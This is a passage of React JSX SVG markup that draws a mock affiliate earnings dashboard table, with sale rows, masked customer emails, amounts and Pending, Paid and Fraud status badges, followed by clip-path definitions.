     </tspan>\n                    </text>\n                    <path\n                      stroke=\"#E5E5E5\"\n                      strokeWidth=\"0.512\"\n                      d=\"M188.695 621.632h83.898v22.532h-83.898z\"\n                    ></path>\n                    <text\n                      xmlSpace=\"preserve\"\n                      fill=\"#525252\"\n                      fontSize=\"7.169\"\n                      fontWeight=\"500\"\n                      style={{ whiteSpace: \"pre\" }}\n                    >\n                      <tspan x=\"197.014\" y=\"635.505\">\n                        Feb 4, 2025\n                      </tspan>\n                    </text>\n                    <path\n                      stroke=\"#E5E5E5\"\n                      strokeWidth=\"0.512\"\n                      d=\"M272.593 531.696h83.898v22.339h-83.898z\"\n                    ></path>\n                    <text\n                      xmlSpace=\"preserve\"\n                      fill=\"#171717\"\n                      fontSize=\"7.169\"\n                      fontWeight=\"600\"\n                      style={{ whiteSpace: \"pre\" }}\n                    >\n                      <tspan x=\"281.213\" y=\"545.473\">\n                        Type\n                      </tspan>\n                    </text>\n                    <path\n                      stroke=\"#E5E5E5\"\n                      strokeWidth=\"0.512\"\n                      d=\"M272.593 554.035h83.898v22.532h-83.898z\"\n                    ></path>\n                    <g\n                      stroke=\"#00BBA7\"\n                      strokeLinecap=\"round\"\n                      strokeLinejoin=\"round\"\n                      strokeWidth=\"0.768\"\n                      clipPath={`url(#${id}-ah)`}\n                    >\n                      <path d=\"M287.5 562.912v5.69l-1.251-.683-1.366.683-1.366-.683-1.251.683v-5.69a.91.91 0 0 1 .91-.91h3.414a.91.91 0 0 1 .91.91\"></path>\n                      <path d=\"M285.668 564.189c-.171-.402-.511-.494-.769-.494-.239 0-.868.128-.809.731.041.424.44.581.789.644.349.062.856.195.868.706.01.432-.378.727-.847.727-.449 0-.76-.175-.881-.569m.864-2.567v.328m0 2.807v.279\"></path>\n                    </g>\n                    <text\n                      xmlSpace=\"preserve\"\n                      fill=\"#525252\"\n                      fontSize=\"7.169\"\n                      fontWeight=\"500\"\n                      style={{ whiteSpace: \"pre\" }}\n                    >\n                      <tspan x=\"295.281\" y=\"567.908\">\n                        Sale\n                      </tspan>\n                    </text>\n                    <path\n                      stroke=\"#E5E5E5\"\n                      strokeWidth=\"0.512\"\n                      d=\"M272.593 576.567h83.898v22.532h-83.898z\"\n                    ></path>\n                    <g\n                      stroke=\"#00BBA7\"\n                      strokeLinecap=\"round\"\n                      strokeLinejoin=\"round\"\n                      strokeWidth=\"0.768\"\n                      clipPath={`url(#${id}-ai)`}\n                    >\n                      <path d=\"M287.5 585.444v5.69l-1.251-.683-1.366.683-1.366-.683-1.251.683v-5.69a.91.91 0 0 1 .91-.91h3.414a.91.91 0 0 1 .91.91\"></path>\n                      <path d=\"M285.668 586.721c-.171-.403-.511-.494-.769-.494-.239 0-.868.127-.809.731.04.424.44.581.789.644.349.062.856.195.868.706.01.432-.378.727-.847.727-.449 0-.76-.175-.881-.569m.864-2.567v.328m0 2.808v.279\"></path>\n                    </g>\n                    <text\n                      xmlSpace=\"preserve\"\n                      fill=\"#525252\"\n                      fontSize=\"7.169\"\n                      fontWeight=\"500\"\n                      style={{ whiteSpace: \"pre\" }}\n                    >\n                      <tspan x=\"295.281\" y=\"590.44\">\n                        Sale\n                      </tspan>\n                    </text>\n                    <path\n                      stroke=\"#E5E5E5\"\n                      strokeWidth=\"0.512\"\n                      d=\"M272.593 599.099h83.898v22.532h-83.898z\"\n                    ></path>\n                    <g\n                      stroke=\"#00BBA7\"\n                      strokeLinecap=\"round\"\n                      strokeLinejoin=\"round\"\n                      strokeWidth=\"0.768\"\n                      clipPath={`url(#${id}-aj)`}\n                    >\n                      <path d=\"M287.5 607.975v5.69l-1.251-.683-1.366.683-1.366-.683-1.251.683v-5.69a.91.91 0 0 1 .91-.91h3.414a.91.91 0 0 1 .91.91\"></path>\n                      <path d=\"M285.668 609.252c-.171-.403-.511-.494-.769-.494-.239 0-.868.127-.809.731.04.424.44.581.789.644.349.062.856.195.868.706.01.432-.378.727-.847.727-.449 0-.76-.175-.881-.569m.864-2.567v.328m0 2.807v.279\"></path>\n                    </g>\n                    <text\n                      xmlSpace=\"preserve\"\n                      fill=\"#525252\"\n                      fontSize=\"7.169\"\n                      fontWeight=\"500\"\n                      style={{ whiteSpace: \"pre\" }}\n                    >\n                      <tspan x=\"295.281\" y=\"612.973\">\n                        Sale\n                      </tspan>\n                    </text>\n                    <path\n                      stroke=\"#E5E5E5\"\n                      strokeWidth=\"0.512\"\n                      d=\"M272.593 621.632h83.898v22.532h-83.898z\"\n                    ></path>\n                    <g\n                      stroke=\"#00BBA7\"\n                      strokeLinecap=\"round\"\n                      strokeLinejoin=\"round\"\n                      strokeWidth=\"0.768\"\n                      clipPath={`url(#${id}-ak)`}\n                    >\n                      <path d=\"M287.5 630.509v5.69l-1.251-.683-1.366.683-1.366-.683-1.251.683v-5.69a.91.91 0 0 1 .91-.91h3.414a.91.91 0 0 1 .91.91\"></path>\n                      <path d=\"M285.668 631.786c-.171-.402-.511-.494-.769-.494-.239 0-.868.128-.809.731.041.424.44.581.789.644.349.062.856.195.868.706.01.432-.378.727-.847.727-.449 0-.76-.175-.881-.569m.864-2.567v.328m0 2.807v.279\"></path>\n                    </g>\n                    <text\n                      xmlSpace=\"preserve\"\n                      fill=\"#525252\"\n                      fontSize=\"7.169\"\n                      fontWeight=\"500\"\n                      style={{ whiteSpace: \"pre\" }}\n                    >\n                      <tspan x=\"295.281\" y=\"635.505\">\n                        Sale\n                      </tspan>\n                    </text>\n                    <path\n                      stroke=\"#E5E5E5\"\n                      strokeWidth=\"0.512\"\n                      d=\"M356.491 531.696h111.124v22.339H356.491z\"\n                    ></path>\n                    <text\n                      xmlSpace=\"preserve\"\n                      fill=\"#171717\"\n                      fontSize=\"7.169\"\n                      fontWeight=\"600\"\n                      style={{ whiteSpace: \"pre\" }}\n                    >\n                      <tspan x=\"364.994\" y=\"545.473\">\n                        Link\n                      </tspan>\n                    </text>\n                    <path\n                      stroke=\"#E5E5E5\"\n                      strokeWidth=\"0.512\"\n                      d=\"M356.491 554.035h111.124v22.529H356.491z\"\n                    ></path>\n                    <path\n                      fill=\"#000\"\n                      fillRule=\"evenodd\"\n                      d=\"M368.779 569.394a4.094 4.094 0 0 0 2.048-7.642v5.595h-1.024v-.274a2.048 2.048 0 1 1 0-3.547v-2.193a4.096 4.096 0 1 0-1.024 8.061\"\n                      clipRule=\"evenodd\"\n                    ></path>\n                    <text\n                      xmlSpace=\"preserve\"\n                      fill=\"#525252\"\n                      fontSize=\"7.169\"\n                      fontWeight=\"500\"\n                      style={{ whiteSpace: \"pre\" }}\n                    >\n                      <tspan x=\"379.02\" y=\"567.906\">\n                        {truncate(program?.domain, 12)}/stey\n                      </tspan>\n                    </text>\n                    <path\n                      stroke=\"#E5E5E5\"\n                      strokeWidth=\"0.512\"\n                      d=\"M356.491 576.564h111.124v22.529H356.491z\"\n                    ></path>\n                    <path\n                      fill=\"#000\"\n                      d=\"M370.332 584.039a4.095 4.095 0 1 1-.529-.177v2.194a2.048 2.048 0 1 0-1.023 3.82 2.03 2.03 0 0 0 1.023-.277v.277h1.024v-5.594a4 4 0 0 0-.495-.243m-.222-.084\"\n                    ></path>\n                    <text\n                      xmlSpace=\"preserve\"\n                      fill=\"#525252\"\n                      fontSize=\"7.169\"\n                      fontWeight=\"500\"\n                      style={{ whiteSpace: \"pre\" }}\n                    >\n                      <tspan x=\"379.02\" y=\"590.435\">\n                        {truncate(program?.domain, 12)}/stey\n                      </tspan>\n                    </text>\n                    <path\n                      stroke=\"#E5E5E5\"\n                      strokeWidth=\"0.512\"\n                      d=\"M356.491 599.092h111.124v22.529H356.491z\"\n                    ></path>\n                    <path\n                      fill=\"#000\"\n                      d=\"M370.332 606.567a4.096 4.096 0 1 1-.529-.176v2.194a2.048 2.048 0 1 0-1.023 3.819c.373 0 .722-.102 1.023-.276v.276h1.024v-5.593a4 4 0 0 0-.495-.244m-.222-.084\"\n                    ></path>\n                    <text\n                      xmlSpace=\"preserve\"\n                      fill=\"#525252\"\n                      fontSize=\"7.169\"\n                      fontWeight=\"500\"\n                      style={{ whiteSpace: \"pre\" }}\n                    >\n                      <tspan x=\"379.02\" y=\"612.964\">\n                        {truncate(program?.domain, 12)}/stey\n                      </tspan>\n                    </text>\n                    <path\n                      stroke=\"#E5E5E5\"\n                      strokeWidth=\"0.512\"\n                      d=\"M356.491 621.621h111.124v22.529H356.491z\"\n                    ></path>\n                    <path\n                      fill=\"#000\"\n                      d=\"M370.332 629.096a4.096 4.096 0 1 1-.529-.177v2.195a2.048 2.048 0 1 0-1.023 3.819c.373 0 .722-.102 1.023-.276v.276h1.024v-5.594a4 4 0 0 0-.495-.243m-.222-.084\"\n                    ></path>\n                    <text\n                      xmlSpace=\"preserve\"\n                      fill=\"#525252\"\n                      fontSize=\"7.169\"\n                      fontWeight=\"500\"\n                      style={{ whiteSpace: \"pre\" }}\n                    >\n                      <tspan x=\"379.02\" y=\"635.492\">\n                        {truncate(program?.domain, 12)}/stey\n                      </tspan>\n                    </text>\n                    <path\n                      stroke=\"#E5E5E5\"\n                      strokeWidth=\"0.512\"\n                      d=\"M467.615 531.696h83.898v22.339h-83.898z\"\n                    ></path>\n                    <text\n                      xmlSpace=\"preserve\"\n                      fill=\"#171717\"\n                      fontSize=\"7.169\"\n                      fontWeight=\"600\"\n                      style={{ whiteSpace: \"pre\" }}\n                    >\n                      <tspan x=\"476.212\" y=\"545.473\">\n                        Customer\n                      </tspan>\n                    </text>\n                    <path\n                      stroke=\"#E5E5E5\"\n                      strokeWidth=\"0.512\"\n                      d=\"M467.615 554.035h83.898v22.532h-83.898z\"\n                    ></path>\n                    <text\n                      xmlSpace=\"preserve\"\n                      fill=\"#525252\"\n                      fontSize=\"7.169\"\n                      fontWeight=\"500\"\n                      style={{ whiteSpace: \"pre\" }}\n                    >\n                      <tspan x=\"475.939\" y=\"567.908\">\n                        t**@dub.co\n                      </tspan>\n                    </text>\n                    <path\n                      stroke=\"#E5E5E5\"\n                      strokeWidth=\"0.512\"\n                      d=\"M467.615 576.567h83.898v22.532h-83.898z\"\n                    ></path>\n                    <text\n                      xmlSpace=\"preserve\"\n                      fill=\"#525252\"\n                      fontSize=\"7.169\"\n                      fontWeight=\"500\"\n                      style={{ whiteSpace: \"pre\" }}\n                    >\n                      <tspan x=\"475.939\" y=\"590.44\">\n                        t**@dub.co\n                      </tspan>\n                    </text>\n                    <path\n                      stroke=\"#E5E5E5\"\n                      strokeWidth=\"0.512\"\n                      d=\"M467.615 599.099h83.898v22.532h-83.898z\"\n                    ></path>\n                    <text\n                      xmlSpace=\"preserve\"\n                      fill=\"#525252\"\n                      fontSize=\"7.169\"\n                      fontWeight=\"500\"\n                      style={{ whiteSpace: \"pre\" }}\n                    >\n                      <tspan x=\"475.969\" y=\"612.973\">\n                        s****n@dub.co\n                      </tspan>\n                    </text>\n                    <path\n                      stroke=\"#E5E5E5\"\n                      strokeWidth=\"0.512\"\n                      d=\"M467.615 621.632h83.898v22.532h-83.898z\"\n                    ></path>\n                    <text\n                      xmlSpace=\"preserve\"\n                      fill=\"#525252\"\n                      fontSize=\"7.169\"\n                      fontWeight=\"500\"\n                      style={{ whiteSpace: \"pre\" }}\n                    >\n                      <tspan x=\"475.896\" y=\"635.505\">\n                        k****n@dub.co\n                      </tspan>\n                    </text>\n                    <path\n                      stroke=\"#E5E5E5\"\n                      strokeWidth=\"0.512\"\n                      d=\"M551.513 531.696h83.898v22.339h-83.898z\"\n                    ></path>\n                    <text\n                      xmlSpace=\"preserve\"\n                      fill=\"#171717\"\n                      fontSize=\"7.169\"\n                      fontWeight=\"600\"\n                      style={{ whiteSpace: \"pre\" }}\n                    >\n                      <tspan x=\"560.153\" y=\"545.473\">\n                        Sale Amount\n                      </tspan>\n                    </text>\n                    <g\n                      stroke=\"#525252\"\n                      strokeLinecap=\"round\"\n                      strokeLinejoin=\"round\"\n                      strokeWidth=\"0.768\"\n                      clipPath={`url(#${id}-al)`}\n                    >\n                      <path d=\"m613.782 541.77-1.394-1.394-1.394 1.394m2.788 2.19-1.394 1.394-1.394-1.394\"></path>\n                    </g>\n                    <path\n                      stroke=\"#E5E5E5\"\n                      strokeWidth=\"0.512\"\n                      d=\"M551.513 554.035h83.898v22.532h-83.898z\"\n                    ></path>\n                    <text\n                      xmlSpace=\"preserve\"\n                      fill=\"#525252\"\n                      fontSize=\"7.169\"\n                      fontWeight=\"500\"\n                      style={{ whiteSpace: \"pre\" }}\n                    >\n                      <tspan x=\"560.029\" y=\"567.908\">\n                        $15.00\n                      </tspan>\n                    </text>\n                    <path\n                      stroke=\"#E5E5E5\"\n                      strokeWidth=\"0.512\"\n                      d=\"M551.513 576.567h83.898v22.532h-83.898z\"\n                    ></path>\n                    <text\n                      xmlSpace=\"preserve\"\n                      fill=\"#525252\"\n                      fontSize=\"7.169\"\n                      fontWeight=\"500\"\n                      style={{ whiteSpace: \"pre\" }}\n                    >\n                      <tspan x=\"560.029\" y=\"590.44\">\n                        $15.00\n                      </tspan>\n                    </text>\n                    <path\n                      stroke=\"#E5E5E5\"\n                      strokeWidth=\"0.512\"\n                      d=\"M551.513 599.099h83.898v22.532h-83.898z\"\n                    ></path>\n                    <text\n                      xmlSpace=\"preserve\"\n                      fill=\"#525252\"\n                      fontSize=\"7.169\"\n                      fontWeight=\"500\"\n                      style={{ whiteSpace: \"pre\" }}\n                    >\n                      <tspan x=\"560.029\" y=\"612.973\">\n                        $15.00\n                      </tspan>\n                    </text>\n                    <path\n                      stroke=\"#E5E5E5\"\n                      strokeWidth=\"0.512\"\n                      d=\"M551.513 621.632h83.898v22.532h-83.898z\"\n                    ></path>\n                    <text\n                      xmlSpace=\"preserve\"\n                      fill=\"#525252\"\n                      fontSize=\"7.169\"\n                      fontWeight=\"500\"\n                      style={{ whiteSpace: \"pre\" }}\n                    >\n                      <tspan x=\"560.029\" y=\"635.505\">\n                        $15.00\n                      </tspan>\n                    </text>\n                    <path\n                      stroke=\"#E5E5E5\"\n                      strokeWidth=\"0.512\"\n                      d=\"M635.412 531.696h83.898v22.339h-83.898z\"\n                    ></path>\n                    <text\n                      xmlSpace=\"preserve\"\n                      fill=\"#171717\"\n                      fontSize=\"7.169\"\n                      fontWeight=\"600\"\n                      style={{ whiteSpace: \"pre\" }}\n                    >\n                      <tspan x=\"643.937\" y=\"545.473\">\n                        Earnings\n                      </tspan>\n                    </text>\n                    <g\n                      stroke=\"#525252\"\n                      strokeLinecap=\"round\"\n                      strokeLinejoin=\"round\"\n                      strokeWidth=\"0.768\"\n                      clipPath={`url(#${id}-am)`}\n                    >\n                      <path d=\"m683.681 541.77-1.395-1.394-1.394 1.394m2.788 2.19-1.394 1.394-1.394-1.394\"></path>\n                    </g>\n                    <path\n                      stroke=\"#E5E5E5\"\n                      strokeWidth=\"0.512\"\n                      d=\"M635.412 554.035h83.898v22.532h-83.898z\"\n                    ></path>\n                    <text\n                      xmlSpace=\"preserve\"\n                      fill=\"#525252\"\n                      fontSize=\"7.169\"\n                      fontWeight=\"500\"\n                      style={{ whiteSpace: \"pre\" }}\n                    >\n                      <tspan x=\"643.836\" y=\"567.908\">\n                        $10.00\n                      </tspan>\n                    </text>\n                    <path\n                      stroke=\"#E5E5E5\"\n                      strokeWidth=\"0.512\"\n                      d=\"M635.412 576.567h83.898v22.532h-83.898z\"\n                    ></path>\n                    <text\n                      xmlSpace=\"preserve\"\n                      fill=\"#525252\"\n                      fontSize=\"7.169\"\n                      fontWeight=\"500\"\n                      style={{ whiteSpace: \"pre\" }}\n                    >\n                      <tspan x=\"643.836\" y=\"590.44\">\n                        $10.00\n                      </tspan>\n                    </text>\n                    <path\n                      stroke=\"#E5E5E5\"\n                      strokeWidth=\"0.512\"\n                      d=\"M635.412 599.099h83.898v22.532h-83.898z\"\n                    ></path>\n                    <text\n                      xmlSpace=\"preserve\"\n                      fill=\"#525252\"\n                      fontSize=\"7.169\"\n                      fontWeight=\"500\"\n                      style={{ whiteSpace: \"pre\" }}\n                    >\n                      <tspan x=\"643.836\" y=\"612.973\">\n                        $10.00\n                      </tspan>\n                    </text>\n                    <path\n                      stroke=\"#E5E5E5\"\n                      strokeWidth=\"0.512\"\n                      d=\"M635.412 621.632h83.898v22.532h-83.898z\"\n                    ></path>\n                    <text\n                      xmlSpace=\"preserve\"\n                      fill=\"#525252\"\n                      fontSize=\"7.169\"\n                      fontWeight=\"500\"\n                      style={{ whiteSpace: \"pre\" }}\n                    >\n                      <tspan x=\"643.836\" y=\"635.505\">\n                        $10.00\n                      </tspan>\n                    </text>\n                    <path\n                      stroke=\"#E5E5E5\"\n                      strokeWidth=\"0.512\"\n                      d=\"M719.31 531.696h83.898v22.339H719.31z\"\n                    ></path>\n                    <text\n                      xmlSpace=\"preserve\"\n                      fill=\"#171717\"\n                      fontSize=\"7.169\"\n                      fontWeight=\"600\"\n                      style={{ whiteSpace: \"pre\" }}\n                    >\n                      <tspan x=\"727.745\" y=\"545.473\">\n                        Status\n                      </tspan>\n                    </text>\n                    <path\n                      stroke=\"#E5E5E5\"\n                      strokeWidth=\"0.512\"\n                      d=\"M719.31 554.035h83.898v22.532H719.31z\"\n                    ></path>\n                    <rect\n                      width=\"37.194\"\n                      height=\"12.29\"\n                      x=\"727.503\"\n                      y=\"559.156\"\n                      fill=\"#FFEDD4\"\n                      rx=\"3.073\"\n                    ></rect>\n                    <text\n                      xmlSpace=\"preserve\"\n                      fill=\"#CA3500\"\n                      fontSize=\"7.169\"\n                      fontWeight=\"500\"\n                      style={{ whiteSpace: \"pre\" }}\n                    >\n                      <tspan x=\"732.094\" y=\"567.908\">\n                        Pending\n                      </tspan>\n                    </text>\n                    <path\n                      stroke=\"#E5E5E5\"\n                      strokeWidth=\"0.512\"\n                      d=\"M719.31 576.567h83.898v22.532H719.31z\"\n                    ></path>\n                    <rect\n                      width=\"23.194\"\n                      height=\"12.29\"\n                      x=\"727.503\"\n                      y=\"581.688\"\n                      fill=\"#DCFCE7\"\n                      rx=\"3.073\"\n                    ></rect>\n                    <text\n                      xmlSpace=\"preserve\"\n                      fill=\"#008236\"\n                      fontSize=\"7.169\"\n                      fontWeight=\"500\"\n                      style={{ whiteSpace: \"pre\" }}\n                    >\n                      <tspan x=\"731.647\" y=\"590.44\">\n                        Paid\n                      </tspan>\n                    </text>\n                    <path\n                      stroke=\"#E5E5E5\"\n                      strokeWidth=\"0.512\"\n                      d=\"M719.31 599.099h83.898v22.532H719.31z\"\n                    ></path>\n                    <rect\n                      width=\"23.194\"\n                      height=\"12.29\"\n                      x=\"727.503\"\n                      y=\"604.22\"\n                      fill=\"#DCFCE7\"\n                      rx=\"3.073\"\n                    ></rect>\n                    <text\n                      xmlSpace=\"preserve\"\n                      fill=\"#008236\"\n                      fontSize=\"7.169\"\n                      fontWeight=\"500\"\n                      style={{ whiteSpace: \"pre\" }}\n                    >\n                      <tspan x=\"731.647\" y=\"612.973\">\n                        Paid\n                      </tspan>\n                    </text>\n                    <path\n                      stroke=\"#E5E5E5\"\n                      strokeWidth=\"0.512\"\n                      d=\"M719.31 621.632h83.898v22.532H719.31z\"\n                    ></path>\n                    <rect\n                      width=\"28.194\"\n                      height=\"12.29\"\n                      x=\"727.503\"\n                      y=\"626.752\"\n                      fill=\"#FFE2E2\"\n                      rx=\"3.073\"\n                    ></rect>\n                    <text\n                      xmlSpace=\"preserve\"\n                      fill=\"#C10007\"\n                      fontSize=\"7.169\"\n                      fontWeight=\"500\"\n                      style={{ whiteSpace: \"pre\" }}\n                    >\n                      <tspan x=\"731.749\" y=\"635.505\">\n                        Fraud\n                      </tspan>\n                    </text>\n                  </g>\n                  <path\n                    stroke=\"#E5E5E5\"\n                    strokeWidth=\"0.512\"\n                    d=\"M188.695 536.818a5.12 5.12 0 0 1 5.121-5.121h604.271a5.12 5.12 0 0 1 5.121 5.121v107.346H188.695zm0 107.346h614.513v28.677H188.695z\"\n                  ></path>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#525252\"\n                    fontSize=\"6.657\"\n                    fontWeight=\"500\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"196.888\" y=\"660.923\">\n                      Viewing 1-100 of 3,159 earnings\n                    </tspan>\n                  </text>\n                  <rect\n                    width=\"39.73\"\n                    height=\"13.826\"\n                    x=\"723.69\"\n                    y=\"651.589\"\n                    fill=\"#F5F5F5\"\n                    rx=\"3.528\"\n                  ></rect>\n                  <rect\n                    width=\"39.73\"\n                    height=\"13.826\"\n                    x=\"723.69\"\n                    y=\"651.589\"\n                    stroke=\"#D4D4D4\"\n                    strokeWidth=\"0.512\"\n                    rx=\"3.528\"\n                  ></rect>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#A1A1A1\"\n                    fontSize=\"7.169\"\n                    fontWeight=\"500\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"728.772\" y=\"660.73\">\n                      Previous\n                    </tspan>\n                  </text>\n                  <rect\n                    width=\"26.73\"\n                    height=\"13.826\"\n                    x=\"768.029\"\n                    y=\"651.589\"\n                    fill=\"#fff\"\n                    rx=\"3.528\"\n                  ></rect>\n                  <rect\n                    width=\"26.73\"\n                    height=\"13.826\"\n                    x=\"768.029\"\n                    y=\"651.589\"\n                    stroke=\"#D4D4D4\"\n                    strokeWidth=\"0.512\"\n                    rx=\"3.528\"\n                  ></rect>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#171717\"\n                    fontSize=\"7.169\"\n                    fontWeight=\"500\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"773.349\" y=\"660.73\">\n                      Next\n                    </tspan>\n                  </text>\n                </g>\n                <rect\n                  width=\"614.001\"\n                  height=\"140.632\"\n                  x=\"188.951\"\n                  y=\"531.953\"\n                  stroke=\"#E5E5E5\"\n                  strokeWidth=\"0.512\"\n                  rx=\"5.889\"\n                ></rect>\n              </g>\n              <path\n                stroke=\"#E5E5E5\"\n                strokeWidth=\"0.512\"\n                d=\"M868.756 4.612v684.872H123.147V13.062a8.45 8.45 0 0 1 8.449-8.45z\"\n              ></path>\n            </g>\n            <defs>\n              <pattern\n                xmlns=\"http://www.w3.org/2000/svg\"\n                id={`${id}-smallGrid`}\n                width=\"10.2425\"\n                height=\"10.2425\"\n                patternUnits=\"userSpaceOnUse\"\n              >\n                <path\n                  d=\"M 10.2425 0 L 0 0 0 10.2425\"\n                  fill=\"none\"\n                  stroke=\"#0004\"\n                  strokeWidth=\"0.5\"\n                />\n              </pattern>\n              <pattern\n                xmlns=\"http://www.w3.org/2000/svg\"\n                id={`${id}-grid`}\n                width=\"81.94\"\n                height=\"81.94\"\n                patternUnits=\"userSpaceOnUse\"\n                x=\"-6\"\n                y=\"-3\"\n              >\n                <rect\n                  width=\"81.94\"\n                  height=\"81.94\"\n                  fill={`url(#${id}-smallGrid)`}\n                />\n                <path\n                  d=\"M 81.94 0 L 0 0 0 81.94\"\n                  fill=\"none\"\n                  stroke=\"#0001\"\n                  strokeWidth=\"1\"\n                />\n              </pattern>\n              <clipPath id={`${id}-a`}>\n                <path fill=\"#fff\" d=\"M.5.771h868v688.457H.5z\"></path>\n              </clipPath>\n              <clipPath id={`${id}-b`}>\n                <use\n                  xlinkHref={`#${id}-an`}\n                  transform=\"translate(90.629 8.965)\"\n                ></use>\n              </clipPath>\n              <clipPath id={`${id}-c`}>\n                <path\n                  fill=\"#fff\"\n                  d=\"M104.967 13.062a6.146 6.146 0 1 1 12.291 0 6.146 6.146 0 0 1-12.291 0\"\n                ></path>\n              </clipPath>\n              <clipPath id={`${id}-d`}>\n                <rect\n                  width=\"16.387\"\n                  height=\"16.387\"\n                  x=\"9.718\"\n                  y=\"36.376\"\n                  fill=\"#fff\"\n                  rx=\"8.194\"\n                ></rect>\n              </clipPath>\n              <clipPath id={`${id}-e`}>\n                <path\n                  fill=\"#fff\"\n                  d=\"M105.991 41.497h6.145v6.145h-6.145z\"\n                ></path>\n              </clipPath>\n              <clipPath id={`${id}-f`}>\n                <path\n                  fill=\"#fff\"\n                  d=\"M6.645 68.908a3.073 3.073 0 0 1 3.073-3.072h104.467a3.073 3.073 0 0 1 3.073 3.072v9.218a3.073 3.073 0 0 1-3.073 3.073H9.718a3.073 3.073 0 0 1-3.073-3.073z\"\n                ></path>\n              </clipPath>\n              <clipPath id={`${id}-g`}>\n                <use\n                  xlinkHref={`#${id}-an`}\n                  transform=\"translate(10.742 69.42)\"\n                ></use>\n              </clipPath>\n              <clipPath id={`${id}-h`}>\n                <use\n                  xlinkHref={`#${id}-an`}\n                  transform=\"translate(10.742 84.783)\"\n                ></use>\n              </clipPath>\n              <clipPath id={`${id}-i`}>\n                <use\n                  xlinkHref={`#${id}-an`}\n                  transform=\"translate(10.742 100.146)\"\n                ></use>\n              </clipPath>\n              <clipPath id={`${id}-j`}>\n                <use\n                  xlinkHref={`#${id}-an`}\n                  transform=\"translate(10.742 115.509)\"\n                ></use>\n              </clipPath>\n              <clipPath id={`${id}-l`}>\n                <use\n                  xlinkHref={`#${id}-ao`}\n                  transform=\"translate(8.694 618.724)\"\n                ></use>\n              </clipPath>\n              <clipPath id={`${id}-m`}>\n                <path fill=\"#fff\" d=\"M44.984 620.26h4.097v4.097h-4.097z\"></path>\n              </clipPath>\n              <clipPath id={`${id}-n`}>\n                <use xlinkHref={`#${id}-o`}></use>\n              </clipPath>\n              <clipPath id={`${id}-p`}>\n                <rect\n                  width=\"614.513\"\n                  height=\"131.491\"\n                  x=\"188.695\"\n                  y=\"54.029\"\n                  fill=\"#fff\"\n                  rx=\"4.097\"\n                ></rect>\n              </clipPath>\n              <clipPath id={`${id}-q`}>\n                <use\n                  xlinkHref={`#${id}-an`}\n                  transform=\"translate(383.113 91.61)\"\n                ></use>\n              </clipPath>\n              <clipPath id={`${id}-v`}>\n                <path\n                  fill=\"#fff\"\n                  d=\"M654.701 73.976h10.242v10.242H654.7z\"\n                ></path>\n              </clipPath>\n              <clipPath id={`${id}-y`}>\n                <path\n                  fill=\"#fff\"\n                  d=\"M777.091 155.398h11.266v11.266h-11.266z\"\n                ></path>\n              </clipPath>\n              <clipPath id={`${id}-F`}>\n                <use\n                  xlinkHref={`#${id}-ap`}\n                  transform=\"translate(188.695 206.005)\"\n                ></use>\n              </clipPath>\n              <clipPath id={`${id}-K`}>\n                <path\n                  fill=\"#fff\"\n                  d=\"M250.914 252.093a4.097 4.097 0 0 1 4.097-4.097h60.427a4.097 4.097 0 0 1 4.097 4.097v6a4.096 4.096 0 0 1-4.097 4.096h-60.427a4.096 4.096 0 0 1-4.097-4.096z\"\n                ></path>\n              </clipPath>\n              <clipPath id={`${id}-L`}>\n                <use\n                  xlinkHref={`#${id}-an`}\n                  transform=\"translate(512.147 219.319)\"\n                ></use>\n              </clipPath>\n              <clipPath id={`${id}-M`}>\n                <path fill=\"#fff\" d=\"M573.534 220.856h5.12v5.12h-5.12z\"></path>\n              </clipPath>\n              <clipPath id={`${id}-N`}>\n                <use\n                  xlinkHref={`#${id}-ao`}\n                  transform=\"translate(746.652 242.44)\"\n                ></use>\n              </clipPath>\n              <clipPath id={`${id}-O`}>\n                <use\n                  xlinkHref={`#${id}-ao`}\n                  transform=\"translate(746.652 268.242)\"\n                ></use>\n              </clipPath>\n              <clipPath id={`${id}-P`}>\n                <use\n                  xlinkHref={`#${id}-ao`}\n                  transform=\"translate(746.652 294.044)\"\n                ></use>\n              </clipPath>\n              <clipPath id={`${id}-Q`}>\n                <use\n                  xlinkHref={`#${id}-ao`}\n                  transform=\"translate(761.652 319.847)\"\n                ></use>\n              </clipPath>\n              <clipPath id={`${id}-R`}>\n                <use\n                  xlinkHref={`#${id}-ap`}\n                  transform=\"translate(188.695 353.488)\"\n                ></use>\n              </clipPath>\n              <clipPath id={`${id}-V`}>\n                <path\n                  fill=\"#fff\"\n                  d=\"M250.914 399.577a4.097 4.097 0 0 1 4.097-4.097h60.427a4.097 4.097 0 0 1 4.097 4.097v6a4.096 4.096 0 0 1-4.097 4.096h-60.427a4.096 4.096 0 0 1-4.097-4.096z\"\n                ></path>\n              </clipPath>\n              <clipPath id={`${id}-Z`}>\n                <path\n                  fill=\"#fff\"\n                  d=\"M459.849 399.577a4.096 4.096 0 0 1 4.096-4.097h60.428a4.096 4.096 0 0 1 4.096 4.097v6a4.096 4.096 0 0 1-4.096 4.096h-60.428a4.096 4.096 0 0 1-4.096-4.096z\"\n                ></path>\n              </clipPath>\n              <clipPath id={`${id}-ad`}>\n                <path\n                  fill=\"#fff\"\n                  d=\"M668.783 399.577a4.097 4.097 0 0 1 4.097-4.097h60.427a4.097 4.097 0 0 1 4.097 4.097v6a4.096 4.096 0 0 1-4.097 4.096H672.88a4.096 4.096 0 0 1-4.097-4.096z\"\n                ></path>\n              </clipPath>\n              <clipPath id={`${id}-ae`}>\n                <rect\n                  width=\"614.513\"\n                  height=\"141.145\"\n                  x=\"188.695\"\n                  y=\"531.697\"\n                  fill=\"#fff\"\n                  rx=\"6.145\"\n                ></rect>\n              </clipPath>\n              <clipPath id={`${id}-af`}>\n                <path\n                  fill=\"#fff\"\n                  d=\"M188.695 536.818a5.12 5.12 0 0 1 5.121-5.121h604.271a5.12 5.12 0 0 1 5.121 5.121v107.346H188.695z\"\n                ></path>\n              </clipPath>\n              <clipPath id={`${id}-ag`}>\n                <use\n                  xlinkHref={`#${id}-ao`}\n                  transform=\"translate(217.985 539.281)\"\n                ></use>\n              </clipPath>\n              <clipPath id={`${id}-ah`}>\n                <use\n                  xlinkHref={`#${id}-an`}\n                  transform=\"translate(280.786 561.205)\"\n                ></use>\n              </clipPath>\n              <clipPath id={`${id}-ai`}>\n                <use\n                  xlinkHref={`#${id}-an`}\n                  